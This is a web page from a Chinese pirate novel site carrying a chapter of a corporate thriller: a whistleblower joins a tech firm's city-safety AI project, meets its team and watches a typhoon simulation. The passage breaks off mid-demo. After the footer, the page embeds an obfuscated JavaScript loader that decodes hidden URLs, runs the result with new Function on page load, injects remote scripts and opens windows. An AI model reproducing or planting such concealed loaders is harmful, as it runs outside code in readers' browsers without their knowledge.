首页
[切换至繁体版]
返回

第81章 新的战场

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第81章新的战场(第1/2页)
    1
    周一早晨七点半,星河科技园区。
    林辰从出租车上下来,抬头看了一眼那栋玻璃幕墙建筑。晨光在幕墙上流淌,泛着银蓝色的冷光。大楼前立着那块简洁的logo,银色的星星在朝阳下泛着柔和的光泽。
    和一个月前天启总部的张扬浮夸完全不同。
    他深吸一口气,拎着公文包,朝大楼走去。
    今天他穿了那套深蓝色西装,但苏雨晴特意拿去熨烫过,笔挺如新。里面是浅灰色的衬衫,没打领带——星河科技的文化比较随和,李铭在邮件里特别提过:“穿你舒服的衣服就行。”
    前台还是上周那个姑娘,看见他,露出职业微笑:“林总早,李总在等您。我带您去会议室。”
    “林总”这个称呼让林辰顿了顿。在天启七年,他都没混上“总”字。被裁时是高级总监,同事叫他“林哥”或“老林”。现在,刚入职,就是“林总”。
    “谢谢。”他点点头,跟着前台往里走。
    星河科技的内部装修很“硅谷风”——开放式办公区,工位宽敞,有绿植墙,有休闲区,有咖啡吧。这个点,已经有不少人到了。有人在写代码,有人在开会,有人端着咖啡站在白板前讨论。空气里有种年轻、专注、蓬勃的生气。
    和天启后期那种焦虑、压抑、勾心斗角的氛围完全不同。
    林辰走过时,有人抬头看他。目光里有好奇,有打量,有善意的微笑,也有漠不关心。没有人窃窃私语,没有人指指点点——至少当面没有。
    会议室在三楼,是间玻璃房,里面已经坐了五六个人。李铭坐在主位,正低头看平板。看见林辰,他抬手示意:“林辰,进来,坐我旁边。”
    林辰走进去。会议室里的人全都看过来。
    “介绍一下,”李铭站起来,“林辰,我们‘智安’项目的产品与战略负责人。从今天起正式加入。林辰,这几位是项目核心成员。”
    他挨个介绍。
    “王浩然,技术负责人。前谷歌大脑的,我们花大价钱挖回来的。”一个三十出头的男人,戴黑框眼镜,头发有点乱,冲林辰点了点头,没笑,但眼神专注。
    “张薇,算法总监。北大本,MIT博,专攻强化学习。”一个扎马尾的年轻女性,看起来不到三十,眼神锐利,朝林辰伸手:“林总,久仰。”
    “刘峰,数据架构师。前阿里P9,处理过双十一级别的数据。”一个微胖的中年男人,笑呵呵的,很和气。
    “陈悦,政府事务总监。在工信部干过十年,懂政策,懂流程。”一个四十多岁的女性,穿着得体的套装,气质干练,朝林辰微笑:“以后多合作。”
    “赵凯,市场总监。奥美出来的,讲故事的高手。”一个三十五六的男人,穿着休闲西装,头发抹得一丝不苟,朝林辰眨眨眼:“林总,以后咱们配合,保证把故事讲得漂亮。”
    一圈介绍下来,林辰心里有数了。这支团队,很豪华。技术、算法、数据、政策、市场,全是顶级配置。李铭为了这个项目,下了血本。
    “好了,人齐了,开会。”李铭坐回主位,示意林辰坐下,“林辰刚来,我们先过一遍项目整体情况。浩然,你先来。”
    王浩然站起来,走到白板前。他没用PPT,直接在白板上写画。
    “智安项目的核心,是建一个城市级的安全中台。”他的语速很快,但吐字清晰,“简单说,就是把城市各个维度的数据——交通、安防、气象、环境、人口流动、公共设施状态——全部打通,用AI模型做实时分析和预测,提前发现风险,优化调度。”
    他在白板上画了个三层架构图。
    “底层是数据层。我们要对接七个城市、超过两百个数据源,每天处理的数据量预计在500TB以上。这部分,刘峰负责。”
    刘峰点头:“数据源已经对接了60%,剩下的在走流程。主要难点是数据标准和接口不统一,我们在做清洗和映射。”
    “中间是算法层。”王浩然继续画,“我们有三个核心模型。风险预测模型,用深度学习做异常检测;调度优化模型,用强化学习做资源配置;决策辅助模型,用图神经网络做关联分析。这部分,张薇负责。”
    张薇接话:“模型初步验证已经完成。在测试集上,风险预测的准确率是88.7%,调度优化的效率提升是37.2%。但这是实验室数据,实际部署会有偏差。我们需要尽快拿到真实数据做迭代。”
    “顶层是应用层。”王浩然画了最上面一层,“面向政府客户的SaaS平台,提供可视化大屏、预警推送、决策建议、指挥调度等功能。这部分,原本是我兼着,现在林总来了,就交给林总了。”
    所有人的目光看向林辰。
    林辰点点头,没说话,继续听。
    “时间表。”李铭开口,“现在是十月下旬。我们需要在三个月内,也就是一月底,完成第一个试点城市的部署。试点城市定了,是滨海市。为什么选滨海?陈悦,你说。”
    陈悦推了推眼镜:“三个原因。第一,滨海市政府和我们有合作基础,之前我们做过他们的交通大脑项目,信任度较高。第二,滨海是沿海城市,台风、暴雨、地质灾害多发,对安全预警的需求强烈。第三,也是最重要的一点——”她顿了顿,看向林辰,“滨海市,是天启原来签的七个城市之一。天启爆雷后,他们的项目黄了,但需求还在,预算还在。我们要做的,就是接盘。”
    会议室安静了一瞬。
    所有人都看向林辰。
    天启。这个字眼,像一根刺,轻轻扎了一下。
    林辰面不改色,只是点点头:“明白。滨海市的情况我了解。他们原来的应急管理局局长,因为天启的事被免了,现在是副局长代理。代理局长姓周,我认识,以前在天启的项目上打过交道。人比较谨慎,但做事踏实。”
    陈悦眼睛一亮:“太好了。林总有人脉,对接起来就方便了。”
    “但这也是双刃剑。”林辰继续说,“周局现在肯定很敏感,对供应商的审查会非常严格。我们去找他,他会本能地警惕。特别是——”他看向李铭,“我还带着天启的标签。”
    “这就是为什么需要你。”李铭看着林辰,眼神坦诚,“你是那个揭穿骗局的人,你是‘自己人’。你去和周局谈,比我们任何一个人去,都更有说服力。你可以告诉他,我们和天启不一样,我们是来解决问题的,不是来圈钱的。”
    林辰沉默了几秒,然后点头:“好。我去谈。”
    “时间紧迫。”李铭看了一眼手表,“给你一周时间。一周后,我要看到滨海市的合作意向书。能不能做到?”
    “能。”林辰说。
    “好。”李铭看向其他人,“技术这边,浩然和张薇,你们继续迭代模型,但方向要调整一下——重点攻关滨海市的几个核心场景:台风预警、城市内涝、交通瘫痪。刘峰,数据对接要加速,滨海市的数据权限,尽快拿到。陈悦,你配合林辰,搞定政府关系。赵凯,市场预热可以开始了,但注意分寸,别吹过头。”
    所有人都点头。
    “最后一点。”李铭站起来,双手撑在桌面上,环视全场,“我们这个项目,和天启最大的不同是什么?是技术更先进吗?是团队更豪华吗?是资金更充足吗?都不是。”
    他顿了顿,声音沉下来:“是态度。天启是来骗钱的,我们是来做事的。天启想的是怎么把合同签下来,把预算花掉,把股价炒高。我们要想的是,怎么真的让城市更安全,怎么真的让人少受伤害。这句话,你们每个人都记住。我们这个项目,可以失败,可以亏损,但绝不能造假,绝不能糊弄。谁要是为了赶进度、冲业绩,在数据上、在模型上、在演示上做手脚——”
    他停下来,目光扫过每个人的脸。
    “谁就滚蛋。我说到做到。”
    会议室里鸦雀无声。几秒钟后,王浩然第一个开口:“李总放心。我做技术二十年,最恨的就是造假。”
    “我也是。”张薇说。
    “数据的事,交给我。”刘峰拍胸脯。
    陈悦和赵凯也点头。
    林辰没说话,但他看着李铭,心里那点最后的不安,消失了。
    这个人,是认真的。
    2
    散会后,林辰回到自己的办公室。
    办公室不大,但很清爽。一张办公桌,一台高配电脑,一个书架,一张小沙发。落地窗,能看到园区里的绿化和远处的山。
    桌上放着一个欢迎礼盒,里面是星河科技的文化衫、笔记本、水杯,还有一张手写卡片:“欢迎加入星河,一起做正确的事。——李铭”
    字迹工整,有力。
    林辰拿起卡片,看了几秒,然后收进抽屉。
    他坐下,打开电脑。邮箱里已经有十几封未读邮件,有HR发来的入职须知,有行政发来的权限开通通知,有王浩然发来的技术文档,有陈悦发来的滨海市相关资料。
    他先点开陈悦的邮件。附件是一个压缩包,解压后,里面是滨海市的详细资料:政府架构、关键人物背景、历年灾害数据、现有信息化系统、预算情况、决策流程……非常详尽,足有三百多页。
    林辰泡了杯咖啡,开始看。
    一看就是三个小时。
    中午十二点,有人敲门。是张薇,端着两个饭盒。
    “林总,吃饭了。”她走进来,把一份饭盒放在林辰桌上,“浩然让我给你带一份。食堂的,味道还行。”
    “谢谢。”林辰这才感觉到饿。
    张薇在对面沙发坐下,打开自己的饭盒。两人默默吃饭。吃了几口,张薇开口:“林总,上午开会,你说的那些关于滨海市的情况,很详细。你之前在天启,负责过滨海的项目?”
    “负责过前期。”林辰说,“当时天启想签滨海,我去谈过两次。但后来那个项目被张明远拿走了,我就没再跟。”
    “难怪。”张薇扒了口饭,“那周局这个人,你觉得好打交道吗?”
    “不好打交道。”林辰实话实说,“他很谨慎,甚至有点多疑。天启出事,他作为主管副局长,虽然没被直接追责,但肯定受了影响。现在代理局长,位置不稳,他只会更谨慎。我们要去谈合作,他会把我们从上到下、从里到外查个底朝天。”
    “那怎么办?”张薇皱眉。
    “用实力说话。”林辰说,“他谨慎,是因为怕再出事。那我们就证明给他看,我们不会出事。我们的技术是实的,数据是实的,方案是实的。一次证明不了,就两次,三次。直到他相信为止。”
    张薇看着他,突然笑了:“林总,你和我想象中不太一样。”
    “怎么不一样?”
    “我以为……”张薇斟酌着用词,“我以为你会更……激进一些。毕竟,你做过那么轰动的事。”
    “举报天启?”
    “嗯。”张薇点头,“敢一个人掀翻一个大公司的人,我以为会是那种……锋芒毕露,甚至有点愤世嫉俗的性格。但你看起来很沉稳,很务实。”
    林辰笑了笑:“举报天启,是因为他们做的事会害死人。我做那件事,不是为了出风头,是为了阻止坏事发生。现在做这个项目,也一样。是为了让好事发生。目的不一样,方法也不一样。”
    张薇若有所思地点头。
    吃完饭,张薇收拾饭盒离开。林辰继续看资料。
    下午两点,他收到王浩然的消息:“林总,模型演示准备好了,来实验室看看?”
    林辰回复:“马上到。”
    实验室在三楼另一头,是个很大的开放空间。里面摆满了服务器,大屏幕,还有各种传感器设备。王浩然和张薇都在,正在调试一个三维城市模型。
    “林总,来看。”王浩然招手。
    林辰走过去。大屏幕上是一个虚拟的城市模型,建筑、道路、河流、桥梁,一应俱全。模型是动态的,有车流,有人流,有天气变化。
    “这是我们用滨海市公开数据建的仿真环境。”王浩然指着屏幕,“现在,我们模拟一场台风。”
    他操作控制台。屏幕上,天气骤变,乌云密布,狂风大作,暴雨倾盆。
    “台风登陆,风力十二级,降雨量每小时80毫米。”张薇在旁边解说,“现在,模型开始预警。”
    屏幕上,几个区域变成红色,闪烁。
    “这些是**险区域。低洼地带,老旧小区,临时建筑。”张薇说,“模型根据实时气象数据、地形数据、建筑数据,预测出这些地方在台风中可能受灾。同时,调度系统开始运作。”
    屏幕上出现虚拟的救援力量:救护车、消防车、抢险队。这些图标开始移动,朝**险区域汇聚。
    “模型会综合考虑路况、距离、资源数量,给出最优调度方案。”王浩然调出一个数据面板,“看,如果按传统方式调度
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();